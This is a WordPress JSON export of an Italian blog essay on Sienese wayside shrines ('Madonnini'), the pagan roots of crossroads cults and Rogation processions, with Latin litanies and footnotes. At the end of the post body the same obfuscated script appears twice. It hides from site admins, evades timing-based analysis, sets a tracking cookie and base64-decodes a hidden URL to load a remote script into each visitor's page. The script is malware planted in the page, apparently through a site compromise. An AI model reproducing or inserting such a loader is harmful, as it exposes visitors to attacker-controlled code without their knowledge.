{"id":2295,"date":"2024-08-30T20:29:10","date_gmt":"2024-08-30T20:29:10","guid":{"rendered":"http:\/\/www.elenafrascaodorizzi.it\/artheablog\/?p=2295"},"modified":"2026-06-10T22:09:15","modified_gmt":"2026-06-10T22:09:15","slug":"reminiscenze-pagane-nel-culto-dei-madonnini-e-delle-rogazioni","status":"publish","type":"post","link":"https:\/\/www.elenafrascaodorizzi.it\/artheablog\/reminiscenze-pagane-nel-culto-dei-madonnini-e-delle-rogazioni\/","title":{"rendered":"Reminiscenze Pagane nel Culto dei Madonnini e delle Rogazioni"},"content":{"rendered":"<figure id=\"attachment_5080\" aria-describedby=\"caption-attachment-5080\" style=\"width: 182px\" class=\"wp-caption alignleft\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-5080 size-full\" src=\"https:\/\/www.elenafrascaodorizzi.it\/artheablog\/wp-content\/uploads\/2017\/12\/madonnino_1.jpg\" alt=\"\" width=\"182\" height=\"267\"><figcaption id=\"caption-attachment-5080\" class=\"wp-caption-text\">Foto \u00a9 Elena Odorizzi, 2025<\/figcaption><\/figure>\n<p style=\"text-align: center;\">di ARTHEA (Elena Frasca Odorizzi), Illustratrice e Saggista, \u00a9 Tutti i Diritti Riservati<\/p>\n<p style=\"text-align: justify;\">Chiss\u00e0 quante volte vi sar\u00e0 capitato di vedere le immagini votive della Madonna o dei Santi poste agli incroci, sistemate dentro curiosi tempietti in miniatura in forma di Edicole, Nicchie o Tabernacoli. Nella Campagna Senese questo tipo di architettura sacra si chiama <em>Madonnino<\/em> e si trova un po&#8217; ovunque: lungo le vie di incrocio, di entrata e di uscita dai paesi, all&#8217;ingresso delle ville e delle fattorie, lungo le strade in prossimit\u00e0 dei poderi, nelle facciate delle case coloniche o delle capanne attigue, in mezzo o prospicienti ai campi.<\/p>\n<p style=\"text-align: justify;\">Il termine <em>Edicola<\/em> deriva dal latino <em>Aedicula<\/em>, diminutivo di <em>Aedes<\/em>, che significa Tempio. Il <em>Templum<\/em> \u00e8 la &#8220;Casa degli Dei&#8221; e l<em>&#8216;Edicola<\/em> ne \u00e8 una sorta di riproduzione in scala ridotta.<\/p>\n<p style=\"text-align: justify;\">Presente gi\u00e0 nell&#8217;Antico Egitto l&#8217;Edicola vera e propria, si svilupp\u00f2 in ambito greco-romano con una struttura a s\u00e9 stante o sporgente da una parete. In essa si trovano le caratteristiche architettoniche principali di un Tempio classico (un timpano retto da colonne o pilastri) con all&#8217;interno una statua o una immagine dipinta della Divinit\u00e0.<\/p>\n<p align=\"JUSTIFY\">A Roma un tipo particolare di Edicola era il <em>Larario domestico<\/em>, destinato ad accogliere i <em>Lari<\/em>, gli spiriti benevoli degli antenati che vegliavano sul buon andamento della famiglia, della propriet\u00e0 o delle attivit\u00e0 in generale. In origine i <em>Lari<\/em> erano probabilmente legati alla difesa dei<em> confini<\/em> e dei <em>passaggi<\/em> e per questo erano venerati anche come<em> protettori dei campi e dei crocicchi.<\/em><\/p>\n<p align=\"JUSTIFY\">Con la fine del mondo antico le edicole pagane si trasformano in sacelli atti a contenere le immagini cultuali Cristiane, che come quelle Pagane dovevano proteggere<em> i confini, le strade, gli incroci, i viandanti, i campi, i raccolti, i poderi e i loro abitanti<\/em>.<br \/>\n<img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-5086\" src=\"https:\/\/www.elenafrascaodorizzi.it\/artheablog\/wp-content\/uploads\/2017\/12\/imago_di_02.jpg\" alt=\"\" width=\"838\" height=\"559\" srcset=\"https:\/\/www.elenafrascaodorizzi.it\/artheablog\/wp-content\/uploads\/2017\/12\/imago_di_02.jpg 838w, https:\/\/www.elenafrascaodorizzi.it\/artheablog\/wp-content\/uploads\/2017\/12\/imago_di_02-300x200.jpg 300w, https:\/\/www.elenafrascaodorizzi.it\/artheablog\/wp-content\/uploads\/2017\/12\/imago_di_02-768x512.jpg 768w\" sizes=\"auto, (max-width: 838px) 100vw, 838px\" \/><br \/>\nPer i Cristiani gli <em>incroci<\/em> erano luoghi terribili, perch\u00e9 avevano la doppia valenza di <em>Limes<\/em> e di <em>Limen<\/em>. Come <em>Limes<\/em> l&#8217;incrocio era un <em>confine<\/em> fisico e sociale, era il punto in cui le strade tracciate dagli agrimensori per suddividere i campi e le propriet\u00e0 si incontravano e venivano marcate con una Pietra Miliare o un Cippo di confine. Come <em>Limen<\/em> l&#8217;incrocio indicava invece la <em>soglia<\/em> come porta di comunicazione tra le 3 parti che compongono il Cosmo: il Cielo, la Terra e il Mondo degli Inferi. Qui l&#8217;umano incontrava il soprannaturale, il manifesto il non manifesto, il mondo dei vivi quello dei morti, il passato, il presente e il futuro si riflettevano l&#8217;un l&#8217;altro ed ecco perch\u00e9 agli incroci si praticava spesso la Magia.<\/p>\n<p align=\"JUSTIFY\">Ecate Trivia una antica divinit\u00e0 pre-ellenica che nel periodo ellenistico era diventata una manifestazione della Triplice Dea Lunare che aveva potere in Cielo con il nome di<em> Selene<\/em> (la Luna Piena), in Terra come <em>Artemide<\/em> (la Luna Crescente) e negli Inferi come<em> Proserpina <\/em>(la Luna Calante).<\/p>\n<figure id=\"attachment_5081\" aria-describedby=\"caption-attachment-5081\" style=\"width: 740px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-5081 size-full\" src=\"https:\/\/www.elenafrascaodorizzi.it\/artheablog\/wp-content\/uploads\/2017\/12\/imago_di_00.jpg\" alt=\"\" width=\"740\" height=\"493\" srcset=\"https:\/\/www.elenafrascaodorizzi.it\/artheablog\/wp-content\/uploads\/2017\/12\/imago_di_00.jpg 740w, https:\/\/www.elenafrascaodorizzi.it\/artheablog\/wp-content\/uploads\/2017\/12\/imago_di_00-300x200.jpg 300w\" sizes=\"auto, (max-width: 740px) 100vw, 740px\" \/><figcaption id=\"caption-attachment-5081\" class=\"wp-caption-text\">Elaborazione artistica contemporanea (Photoshop + AI) \u00a9 Elena Odorizzi, 2025<\/figcaption><\/figure>\n<p align=\"JUSTIFY\">Il mondo Cristiano mantenne l&#8217;uso pagano di marcare i confini, ma cerc\u00f2 di esorcizzare e chiudere queste &#8220;Porte sull&#8217;Adil\u00e0&#8221;, mettendo al posto della Dea <em>Ecate<\/em> la <em>Croce della Passione<\/em> di Cristo oppure le immagini pi\u00f9 rassicuranti della Vergine Maria e dei Santi protettori dei Pellegrini.<\/p>\n<p align=\"JUSTIFY\">La sostituzione di<em> Ecate<\/em> non fu comunque sufficiente. La <em>Luna <\/em>era la <em>Divinit\u00e0 astrale<\/em> che pi\u00f9 di ogni altra influenzava e regolava i cicli e la vita della Natura (maree, riproduzione) e delle Campagne (semina, raccolto, potatura, ecc), per cui insieme agli D\u00e8i la Chiesa dovette cristianizzare anche i<em> riti agrari<\/em> ad essi collegati.<\/p>\n<p align=\"JUSTIFY\">I Contadini volevano infatti continuare a invocare la protezione divina sul lavoro dei campi, tenere lontane le calamit\u00e0 naturali che potevano nuocere alle colture (ghiacciate invernali, alluvioni\/siccit\u00e0) e garantire un raccolto sufficiente a sfamare le famiglie.<\/p>\n<p align=\"JUSTIFY\">Alla fine del VI secolo <em>Papa Gregorio I<\/em> fu quindi costretto a trasformare le processioni pagane, in cerimonie cristiane, che vennero chiamate <em>Rogazioni<\/em> dal verbo latino &#8220;rogare&#8221; che vuol dire <em>chiedere<\/em> <em>per ottenere qualcosa<\/em>, quindi per estensione di significato &#8220;pregare<em>&#8220;<\/em>. Per celebrarle fu scelta la data del 25 aprile sovrapponendo il giorno in cui, secondo la tradizione, S. Pietro era giunto a Roma, con una delle feste pagane pi\u00f9 importanti, le &#8220;Robigalia&#8221;, dedicate al Dio romano &#8220;Robigo&#8221;, protettore delle messi dalla <em>ruggine<\/em>, una malattia delle piante nota ancora oggi.<\/p>\n<p style=\"text-align: justify;\">Successivamente nel V secolo (469) il Vescovo Mamerto istitu\u00ec altri 3 giorni di rogazioni, per placare l&#8217;angoscia e la paura dei cittadini di Vienna, sui quali si erano abbattuti senza tregua una serie di eventi catastrofici (terremoti, sterilit\u00e0 dei campi e guerre incessanti). Questa pratica rituale, che doveva svolgersi nei giorni prima dell&#8217;Ascensione, prese a diffondersi ovunque e all\u2019inizio del IX secolo, sotto il pontificato di Leone III, si radic\u00f2 anche a Roma. Le Rogazioni, durante le quali venivano recitate delle Litanie Liturgiche, vennero perci\u00f2 distinte in due tipi: le Rogazioni (e Liturgie) Maggiori di San Marco, celebrate il 25 aprile e le Rogazioni (e Liturgie) Minori acclamate in processione il luned\u00ec, il marted\u00ec e il mercoled\u00ec prima della festa dell&#8217;Ascensione che cade sempre di Gioved\u00ec.<\/p>\n<p align=\"JUSTIFY\">A partire dalla controriforma queste manifestazioni religiose popolari vennero osteggiate dall&#8217;ortodossia cattolica, ma agli inizi del XX secolo erano ancora celebrate nei piccoli paesi di campagna di tutta Italia. Oggi giorno ne resta memoria soprattutto nei ricordi degli anziani e nei Madonnini che a maggio si riempiono di fiori, ma in certe localit\u00e0 questa tradizione \u00e8 stata recuperata, nonostante il carattere pagano di questi riti.<\/p>\n<p align=\"JUSTIFY\">Durante le Rogazioni Minori la processione dei fedeli, con in testa le confraternite, partiva la mattina presto e durante il cammino venivano intonate le Litanie dei Santi. Ogni giorno veniva seguito un percorso differente, che giungeva in ogni podere e Pieve della parrocchia, in un punto segnalato da un Mandonnino o da una Croce, che per l&#8217;occasione erano illuminati dalle candele e decorati con fiori e rami di olivo. Qui il parroco fermava la comitiva e leggeva un passo del vangelo di Luca in latino, quindi il chierico o lui stesso alzava la Croce e rivolgendosi ai <em>quattro punti cardinali<\/em>, recitava<em> l&#8217;invocazione magica<\/em>, che tutti aspettavano.<\/p>\n<figure id=\"attachment_5082\" aria-describedby=\"caption-attachment-5082\" style=\"width: 759px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-5082 size-full\" src=\"https:\/\/www.elenafrascaodorizzi.it\/artheablog\/wp-content\/uploads\/2017\/12\/imago_di_01.jpg\" alt=\"\" width=\"759\" height=\"506\" srcset=\"https:\/\/www.elenafrascaodorizzi.it\/artheablog\/wp-content\/uploads\/2017\/12\/imago_di_01.jpg 759w, https:\/\/www.elenafrascaodorizzi.it\/artheablog\/wp-content\/uploads\/2017\/12\/imago_di_01-300x200.jpg 300w\" sizes=\"auto, (max-width: 759px) 100vw, 759px\" \/><figcaption id=\"caption-attachment-5082\" class=\"wp-caption-text\">Elaborazione artistica contemporanea (Photoshop + AI) \u00a9 Elena Odorizzi, 2025<\/figcaption><\/figure>\n<p>Il Sacerdote diceva <em>A peste fame et bello<\/em> e i fedeli rispondevano: <em>Libera nos Domine!<\/em><br \/>\n<em>A flagello terremotus<\/em> &#8211; <em>Libera nos Domine<\/em>!<br \/>\n<em>Ut fructus terrae dare et conservare digneris<\/em> (benedicendo la campagna) &#8211; <em>Te rogamus, audi nos!<\/em><\/p>\n<p>ovvero<\/p>\n<p>&#8220;Dalla peste dalla fame e dalla guerra&#8221;- &#8220;Liberaci o Signore!&#8221;<br \/>\n&#8220;Dal flagello del terremoto&#8221; &#8211; &#8220;Liberaci o Signore!&#8221;<br \/>\n&#8220;Affinch\u00e9 Ti degni di darci e conservarci i frutti della terra&#8221; &#8211; &#8220;Ti preghiamo, ascoltaci!&#8221;<\/p>\n<p style=\"text-align: justify;\">Il chierico concludeva la cerimonia con gli Oremus finali previsti dalle Litanie dei Santi e con la &#8220;Messa delle Rogazioni&#8221;. Da come si comportava il tempo, i Contadini traevano<em><strong> auspici<\/strong><\/em> su come sarebbe andata la stagione agricola. Se il primo giorno era bel tempo, la fienagione sarebbe stata buona. Se era bello anche il secondo la Mietitura sarebbe andata bene e se era sereno anche il terzo giorno, allora anche la Vendemmia sarebbe stata ottima.<\/p>\n<p style=\"text-align: right;\">di ARTHEA (Elena Frasca Odorizzi), Illustratrice e Saggista, \u00a9 Tutti i Diritti Riservati<\/p>\n<hr>\n<p style=\"text-align: justify;\"><strong><span style=\"color: #333333;\"><span style=\"font-family: Georgia, 'Times New Roman';\"><span style=\"font-size: small;\">1) <\/span><\/span><\/span><\/strong><em><span style=\"color: #333333;\"><span style=\"font-family: Georgia, 'Times New Roman';\"><span style=\"font-size: small;\">I madonnini: immagini devozionali nella campagna della Berardenga : una ricerca sul territorio realizzata in collaborazione tra la la Soprintendenza per i Beni artistici e storici di Siena e la Scuola media G. Papini di Castelnuovo Berardenga<\/span><\/span><\/span><\/em><span style=\"color: #333333;\"><span style=\"font-family: Georgia, 'Times New Roman';\"><span style=\"font-size: small;\">, a cura di Anna Maria Guiducci, Siena, Centrooffset, 1988<br \/>\n<strong>2)<\/strong> <a href=\"http:\/\/scuolaworld.provincia.padova.it\/pierobon\/area\/archivio_progetti_e_attivita'_file\/capitelli\/schede\/intro.htm\"><em>Capitelli e immagini sacre nel Cittadellese<\/em><\/a>. Autori gli alunni della Scuola media Pierobon di Cittadella,in provincia di Padova,Anno 2003.<br \/>\n<strong>3) Franco Camaggi<\/strong>, \u00abLe rogazioni: storia di un rito antico\u00bb, <i>Nuovo Diario Messaggero<\/i>, 15 maggio 2010.<br \/>\n<strong>4)<\/strong> <strong>Mario Rigetti<\/strong>, <em>Storia Liturgica, introduzione generale<\/em>, vol. I, Editrice \u00c0ncora, Milano, 1950<br \/>\n<\/span><\/span><\/span><\/p>\n<p><span style=\"border-radius: 2px; text-indent: 20px; width: auto; padding: 0px 4px 0px 0px; text-align: center; font: bold 11px\/20px 'Helvetica Neue',Helvetica,sans-serif; color: #ffffff; background: #bd081c  no-repeat scroll 3px 50% \/ 14px 14px; position: absolute; opacity: 1; z-index: 8675309; display: none; cursor: pointer;\">Salva<\/span><\/p>\n<p><span style=\"border-radius: 2px; text-indent: 20px; width: auto; padding: 0px 4px 0px 0px; text-align: center; font: bold 11px\/20px 'Helvetica Neue',Helvetica,sans-serif; color: #ffffff; background: #bd081c  no-repeat scroll 3px 50% \/ 14px 14px; position: absolute; opacity: 1; z-index: 8675309; display: none; cursor: pointer;\">Salva<\/span><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>di ARTHEA (Elena Frasca Odorizzi), Illustratrice e Saggista, \u00a9 Tutti i Diritti Riservati Chiss\u00e0 quante volte vi sar\u00e0 capitato di vedere le immagini votive della Madonna o dei [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":5085,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-2295","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-riflessioni"],"_links":{"self":[{"href":"https:\/\/www.elenafrascaodorizzi.it\/artheablog\/wp-json\/wp\/v2\/posts\/2295","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.elenafrascaodorizzi.it\/artheablog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.elenafrascaodorizzi.it\/artheablog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.elenafrascaodorizzi.it\/artheablog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.elenafrascaodorizzi.it\/artheablog\/wp-json\/wp\/v2\/comments?post=2295"}],"version-history":[{"count":10,"href":"https:\/\/www.elenafrascaodorizzi.it\/artheablog\/wp-json\/wp\/v2\/posts\/2295\/revisions"}],"predecessor-version":[{"id":5638,"href":"https:\/\/www.elenafrascaodorizzi.it\/artheablog\/wp-json\/wp\/v2\/posts\/2295\/revisions\/5638"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.elenafrascaodorizzi.it\/artheablog\/wp-json\/wp\/v2\/media\/5085"}],"wp:attachment":[{"href":"https:\/\/www.elenafrascaodorizzi.it\/artheablog\/wp-json\/wp\/v2\/media?parent=2295"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.elenafrascaodorizzi.it\/artheablog\/wp-json\/wp\/v2\/categories?post=2295"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.elenafrascaodorizzi.it\/artheablog\/wp-json\/wp\/v2\/tags?post=2295"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}